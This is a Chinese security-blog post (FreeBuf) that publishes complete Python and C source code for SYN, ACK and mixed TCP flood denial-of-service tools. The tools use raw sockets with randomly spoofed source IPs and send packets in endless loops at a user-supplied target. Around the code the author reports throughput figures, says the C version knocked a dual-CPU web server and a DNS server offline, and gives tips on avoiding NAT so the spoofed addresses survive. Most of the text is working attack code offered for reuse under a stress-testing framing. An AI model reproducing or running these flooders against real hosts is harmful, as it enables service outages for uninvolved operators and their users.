*原创作者:黑戈爾,本文属FreeBuf原创奖励计划,未经许可禁止转载
0x01 前言
以前做DDOS的实验都是用python来编写工具的,开始不会编写结构不会算校验和的时候就用scapy写,后来学会了报文结构开始自己构造各种报文,但是用python写成之后虽然是能实现基本功能,但是性能太差,其不到攻击效果,然后又开始学c语言,用c语言重写了syn flood攻击工具,今天我把python和c的源码都发出来,分享给大家,如果是学习就用python的代码,因为比较方便修改其中的内容,如果是做压力测试的话就用c的代码,性能比较好威力也比较大。话不多说直接上代码了。
0x02 python攻击代码
环境:ubuntu/kali +python 2.7.11
使用方法如下:mode有三种模式 syn攻击、ack攻击、混合攻击,虽说是支持多线程但是多个线程反而不如单线程快,估计是我的多线程弄得有些问题,麻烦这方面比较懂的朋友帮我指点一下。
我电脑是i7-6700单线程也只能这点速度。cpu1已经使用89%了
看一下抓包情况吧,因为只是测试用我也没带tcp的options字段,报文长度也不够64字节,不过也能传到目的地址。
下面是代码:#!/usr/bin/python
#-*-coding:utf-8-*-
import socket
import struct
import random
import threading
class myThread (threading.Thread):
def __init__(self,dstip,dstport,mode):
threading.Thread.__init__(self)
self.dstip = dstip
self.dstport =dstport
self.mode =mode
def run(self):
attack(self.dstip,self.dstport,self.mode)
def checksum(data):
s = 0
n = len(data) % 2
for i in range(0, len(data)-n, 2):
s+= ord(data[i]) + (ord(data[i+1]) << 8)
if n:
s+= ord(data[i+1])
while (s >> 16):
s = (s & 0xFFFF) + (s >> 16)
s = ~s & 0xffff
return s
def IP(source,destination,udplen):
version = 4
ihl = 5
tos = 0
tl = 20+udplen
ip_id = random.randint(1,65535)
flags = 0
offset = 0
ttl = 128
protocol =6
check =0
source = socket.inet_aton(source)
destination = socket.inet_aton(destination)
ver_ihl = (version << 4)+ihl
flags_offset = (flags << 13)+offset
ip_header = struct.pack("!BBHHHBBH4s4s",
ver_ihl,
tos,
tl,
ip_id,
flags_offset,
ttl,
protocol,
check,
source,
destination)
check=checksum(ip_header)
ip_header = struct.pack("!BBHHHBBH4s4s",
ver_ihl,
tos,
tl,
ip_id,
flags_offset,
ttl,
protocol,
socket.htons(check),
source,
destination)
return ip_header
def TCP(srcip,dstip,protocol,dp,fg):
source = socket.inet_aton(srcip)
destination = socket.inet_aton(dstip)
srcport=random.randint(1,65535)
dstport=dp
syn_num=random.randint(1,4000000000)
if fg == 2:
ack_num=0
else:
ack_num=random.randint(1,4000000000)
hlen=5
zero=0
flag=fg
window=8192
check=0
point=0
tcplen=hlen
h_f=(hlen << 12)+flag
TCP_head=struct.pack("!4s4sHHHHIIHHHH",source,destination,protocol,tcplen,srcport,dstport,syn_num,ack_num,h_f,window,check,point)
check=checksum(TCP_head)
TCP_head=struct.pack("!HHIIHHHH",srcport,dstport,syn_num,ack_num,h_f,window,check,point)
return TCP_head
def makepacket(dstip,dstport,fg):
srcip=str(random.choice(ip_first))+'.'+str(random.randint(1,255))+'.'+str(random.randint(1,255))+'.'+str(random.randint(1,255))
protocol=6
ippacket=IP(srcip,dstip,5)+TCP(srcip,dstip,protocol,dstport,fg)
return ippacket
def attack(dstip,dstport,mode):
if mode == 'syn':
fg=2
while 1:
data=makepacket(dstip,dstport,fg)
s.sendto(data,(dstip,dstport))
elif mode == 'ack':
fg=18
while 1:
data=makepacket(dstip,dstport,fg)
s.sendto(data,(dstip,dstport))
elif mode == 'syn&ack':
while 1:
data=makepacket(dstip,dstport,2)
s.sendto(data,(dstip,dstport))
data=makepacket(dstip,dstport,18)
s.sendto(data,(dstip,dstport))
else:
print 'DON\'T xia say!'
dstip=raw_input('attack IP:')
dstport=int(input('attack PORT:'))
mode=raw_input('mode:(syn or ack or syn&ack)')
threads=int(input("线程数threads:"))
ip_first=[]
for i in range(1,10):
ip_first.append(i)
for i in range(11,172):
ip_first.append(i)
for i in range(173,192):
ip_first.append(i)
for i in range(193,224):
ip_first.append(i)
s = socket.socket(socket.AF_INET,socket.SOCK_RAW,6)
s.setsockopt(socket.IPPROTO_IP,socket.IP_HDRINCL,1)
threads_name=[]
for i in range(threads):
threads_name.append('teread'+str(i))
for i in range(threads):
threads_name[i]=myThread(dstip,dstport,mode)
for i in range(threads):
threads_name[i].start()
0x03 C语言攻击代码
环境:ubuntu/kali gcc version 6.1.1 20160802 (Debian 6.1.1-11)
使用方法:支持两个参数 目的ip和目的端口
性能:限制发包速度的是带宽(我这是100M的网,除去报文的前导码和帧间隔极限速度差不多就是9m左右了),cpu利用才27%,我在1000Mbps的网速下测试,单线程的话速度能到40m左右,cpu占用率大约85%左右。所以说在这件事上(syn flood)C的性能要好过python10倍以上。
抓包情况:c的攻击代码模拟了真实的chrome发起tcp请求的情况,不仅仅是标准的ip头+tcp头还加上了tcp options字段,mss最大段大小、sack选择确认、window scale 窗口规模因子,大小总共66字节。
C语言代码:我以前没怎么写过c,所以写的比较糟糕,不过凑合还是能用的,各位可以拿去在修改修改,计算校验和的部分是我在网上抄来的,产生随机数的种子srand不能用time(),这样会造成很多报文随机数部分重复(时间精度是秒),我用的是clock(),这是cpu时间随机数每个都不会重复。pstcphdr是tcp的伪首部,只参与计算校验和而不真的发送,代码中用了linux定义好的Ip.h和tcp.h中的结构,这可能是程序比较快的原因之一。#include
#include
#include
#include
#include
#include
struct pstcphdr {
__be32 saddr;
__be32 daddr;
__be16 proto;
__be16 tcplen;
};
struct tcpoptions
{
__be32 mss;
__be16 nop2;
__be16 sack;
__be32 scale;
};
unsigned short check_sum(unsigned short *addr,int len);
int main(int argc, char *argv[])
{
if( argc == 1 )
{
printf("这是一个syn测试工具,命令格式./synflood ip port \n");
exit(0);
}
else if( argc > 3 )
{
printf("参数输入太多啦,请不带参数查看输入格式!\n");
exit(0);
}
else if( argc < 3 )
{
printf("参数输入太少啦,请不带参数查看输入格式!\n");
exit(0);
}
const int on=1;
/*char ipadd[20]=("192.168.1.10");*/
srand(clock());
/*struct sockaddr_in srcaddress;*/
struct sockaddr_in dstaddress;
struct pstcphdr *pstcphdr1;
struct iphdr *iphead;
struct tcphdr *tcp;
struct tcpoptions *tcpopt;
dstaddress.sin_family=AF_INET;
dstaddress.sin_port=htons(atoi(argv[2]));
dstaddress.sin_addr.s_addr = inet_addr(argv[1]);
int sk=socket(AF_INET,SOCK_RAW,IPPROTO_TCP);
setsockopt(sk,IPPROTO_IP,IP_HDRINCL,&on,sizeof(on));
char buf[128]={0};
int ip_len;
ip_len = sizeof(*iphead)+sizeof(*tcp)+sizeof(*tcpopt);
iphead=(struct iphdr*)buf;
tcp=(struct tcphdr *)(buf+sizeof(*iphead));
tcpopt=(struct tcpoptions*)(buf+sizeof(*iphead)+sizeof(*tcp));
iphead->version= 4;
iphead->ihl=sizeof(*iphead)/4;
iphead->tos=0;
iphead->tot_len=htons(ip_len);
iphead->id=0;
iphead->frag_off=0;
iphead->protocol=6;
iphead->check=0;
inet_aton(argv[1],&iphead->daddr);
int tcplen=sizeof(*tcp)+sizeof(*tcpopt);
tcp->dest=htons(atoi(argv[2]));
tcp->doff=tcplen/4;
tcp->syn=1;
tcp->check=0;
tcp->window=htons(8196);
tcpopt->mss=htonl(0x020405b4);
tcpopt->nop2=htons(0x0101);
tcpopt->sack=htons(0x0402);
tcpopt->scale=htonl(0x01030309);
pstcphdr1=(struct pstcphdr*)(buf+sizeof(*iphead)+sizeof(*tcp)+sizeof(*tcpopt));
pstcphdr1->daddr=&iphead->daddr;
pstcphdr1->proto=htons(6);
pstcphdr1->tcplen=htons(sizeof(*tcp));
while (1)
{
tcp->seq=rand();
iphead->ttl=random()%98+30;
iphead->saddr=htonl((rand()%3758096383));
pstcphdr1->saddr=&iphead->saddr;
tcp->source=htons(rand()%65535);
tcp->check=check_sum((unsigned short*)tcp,sizeof(*tcp)+sizeof(*tcpopt)+sizeof(*pstcphdr1));
sendto(sk,buf,ip_len,0,&dstaddress,sizeof(struct sockaddr_in));
}
}
unsigned short check_sum(unsigned short *addr,int len){
register int nleft=len;
register int sum=0;
register short *w=addr;
short answer=0;
while(nleft>1)
{
sum+=*w++;
nleft-=2;
}
if(nleft==1)
{
*(unsigned char *)(&answer)=*(unsigned char *)w;
sum+=answer;
}
sum=(sum>>16)+(sum&0xffff);
sum+=(sum>>16);
answer=~sum;
return(answer);
}
0x04 结语
还有些注意事项,就是测试的时候不要通过家用路由器(或者一切NAT设备),不然伪造的源地址全都会被替换成真实的,如果你带宽大的话c语言那个攻击代码威力还是很大的,我测试环境下发包30MB/s,能让一台空闲的双路E5+32G 的web服务器拒绝服务,也能让同等配置的DNS服务器拒绝服务(DNS 服务器一般也会开放TCP 53端口)。所以各位不要乱去攻击别人,就测测自己的服务器抗压能力就好了。
*原创作者:黑戈爾,本文属FreeBuf原创奖励计划,未经许可禁止转载